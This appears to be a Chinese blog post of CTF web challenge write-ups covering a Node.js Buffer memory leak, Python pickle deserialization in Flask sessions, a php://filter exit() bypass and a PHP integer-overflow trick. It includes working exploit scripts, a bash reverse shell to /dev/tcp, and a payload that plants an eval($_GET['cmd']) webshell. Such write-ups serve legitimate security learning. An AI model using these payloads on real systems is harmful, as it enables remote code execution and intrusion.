[HITCON 2016]Leaking
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
也就是可以利用Buffer()来读取内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 "use strict" ;var randomstring = require ("randomstring" );var express = require ("express" );var { VM } = require ("vm2" ); var fs = require ("fs" );var app = express();var flag = require ("./config.js" ).flagapp.get("/" , function (req, res ) { res.header("Content-Type" , "text/plain" ); eval ("var flag_" + randomstring.generate(64 ) + " = \"hitcon{" + flag + "}\";" ) if (req.query.data && req.query.data.length <= 12 ) { var vm = new VM({ timeout : 1000 }); console .log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); } else { res.send(fs.readFileSync(__filename).toString()); } }); app.listen(3000 , function ( ) { console .log("listening on port 3000!" ); });
审计源码可以知道定义和flag,但是flag变量名字未知,但是res.send("eval ->" + vm.run(req.query.data));
使得我们可以执行任意代码
不过由于没怎么做过nodejs类型的题目,所以看了别的师傅的wp
可以知道这里利用nodejs沙箱逃逸进行任意代码执行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport timeurl = 'http://32ae46a5-a44c-452f-bf07-0b157261450b.node4.buuoj.cn:81/' payload = "?data=Buffer(500)" r = requests.get(url+payload) while "flag" not in r.text: r = requests.get(url + payload) print (r.status_code) time.sleep(0.1 ) if "flag{" in r.text: print (r.text)
[HFCTF 2021 Final]easyflask
session伪造
python序列化 __reduce__
Pickle
的dumps
和loads
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import _pickleclass User : name: "admin" is_admin: 0 pass print (_pickle.dumps(User()))print (base64.b64encode(_pickle.dumps(User())))usr = _pickle.dumps(User()) print (_pickle.loads(usr))
__reduce__
:
在用pickle的时候将该返回值进行序列化和反序列化(或许是这样,可能之后会进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64import _pickleimport osclass User : name: "admin" is_admin: 0 def __reduce__ (self ): print ("你进行了反序列化" ) os.system("whoami" ) return "" pass try : print (_pickle.dumps(User())) print (base64.b64encode(_pickle.dumps(User()))) usr = _pickle.dumps(User()) print (_pickle.loads(usr)) except : print ("error" )
获取到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, sessionapp = Flask(__name__) app.config["SECRET_KEY" ] = "*******" User = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 0 , '__repr__' : lambda o: o.uname, }) @app.route('/' , methods=('GET' , ) ) def index_handler (): if not session.get('u' ): u = pickle.dumps(User()) session['u' ] = u return "/file?file=index.js" @app.route('/file' , methods=('GET' , ) ) def file_handler (): path = request.args.get('file' ) path = os.path.join('static' , path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open (path, 'r' ) as fp: content = fp.read() return content @app.route('/admin' , methods=('GET' , ) ) def admin_handler (): try : u = session.get('u' ) if isinstance (u, dict ): u = b64decode(u.get('b' )) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1 : return 'welcome, admin' else : return 'who are you?' if __name__ == '__main__' : app.run('0.0.0.0' , port=80 , debug=False )
1.熟悉的secret_key
加上flask框架直接用以前的脚本进行session伪造就好了
2.定义了一个User
类,可知我们要伪造的内容为uname:admin is_admin:1
3.利用python的pickle的dumps和loads进行序列化和反序列化
所以可以利用__reduce__
方法进行命令执行
exp:(最好在linux python2环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import osimport picklefrom base64 import b64encodeUser = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 1 , '__repr__' : lambda o: o.uname, '__reduce__' : lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'" ,)) }) u = pickle.dumps(User()) print (b64encode(u).decode())
flask-session 伪造
根据形式将上面exp得到的内容放进去并利用密钥进行加密
最后抓包,访问/admin
修改session,在vps上进行监听
就可以啦
[watevrCTF-2019]Pickle Store
一看题目就能知道是python序列化和反序列化了,可以查看到session,进行base4解码之后是乱码,但是我们可以直接进行反序列化
1 2 3 import _pickleprint (_pickle.loads(base64.b64decode('gAN9cQAoWAUAAABtb25leXEBTZABWAcAAABoaXN0b3J5cQJdcQNYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQRhWBAAAABhbnRpX3RhbXBlcl9obWFjcQVYIAAAADQ2NGZiNTE5ZWNjZDkwMDM3Y2E4MDczMTlkNDU3ODZkcQZ1Lg==' )))
可以猜测后端存在base64解码之后的反序列化,那么直接上exp:(上题的exp仍然适用 在linux python2中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import osimport picklefrom base64 import b64encodeUser = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 1 , '__repr__' : lambda o: o.uname, '__reduce__' : lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'" ,)) }) u = pickle.dumps(User()) print (b64encode(u).decode())
在vps上监听,抓包
[WMCTF2020]Web Check in 2.0
参考
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); $sandbox = '/var/www/html/sandbox/' . md5($_SERVER ['REMOTE_ADDR' ]);@mkdir($sandbox ); @chdir($sandbox ); var_dump("Sandbox:" .$sandbox ); highlight_file(__FILE__ ); if (isset ($_GET ['content' ])) { $content = $_GET ['content' ]; if (preg_match('/iconv|UCS|UTF|rot|quoted|base64/i' ,$content )) die ('hacker' ); if (file_exists($content )) require_once ($content ); file_put_contents($content ,'<?php exit();' .$content );
审计代码之后可以想到利用点在于file_put_contents($content,'<?php exit();'.$content);
,之前做过类似的使用php://filter
过滤器的base64,直接把前面的exit()绕过,但是这次base64被ban了,只能利用其他过滤器
php://filter 在这里可以找到可利用的
payload:
1 php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET['cmd']);?>/resource=a.php
之后利用已知的路径去访问a.php
,利用shell得到flag
[蓝帽杯 2021]One Pointer PHP(未学完) 给了源码:
add_api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "user.php" ;if ($user =unserialize($_COOKIE ["data" ])){ $count [++$user ->count]=1 ; if ($count []=1 ){ $user ->count+=1 ; setcookie("data" ,serialize($user )); }else { eval ($_GET ["backdoor" ]); } }else { $user =new User; $user ->count=1 ; setcookie("data" ,serialize($user )); } ?>
首先审计代码,可以知道我们要绕过if($count[]=1)
这里利用int溢出就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class User { public $count = 9223372036854775806 ; } echo urlencode(serialize(new User()));
抓包修改cookie之后,get传backdoor
,但是发现好多函数和类都被ban了,之后去参考别的师傅的wp,但是发现好多要学习的点(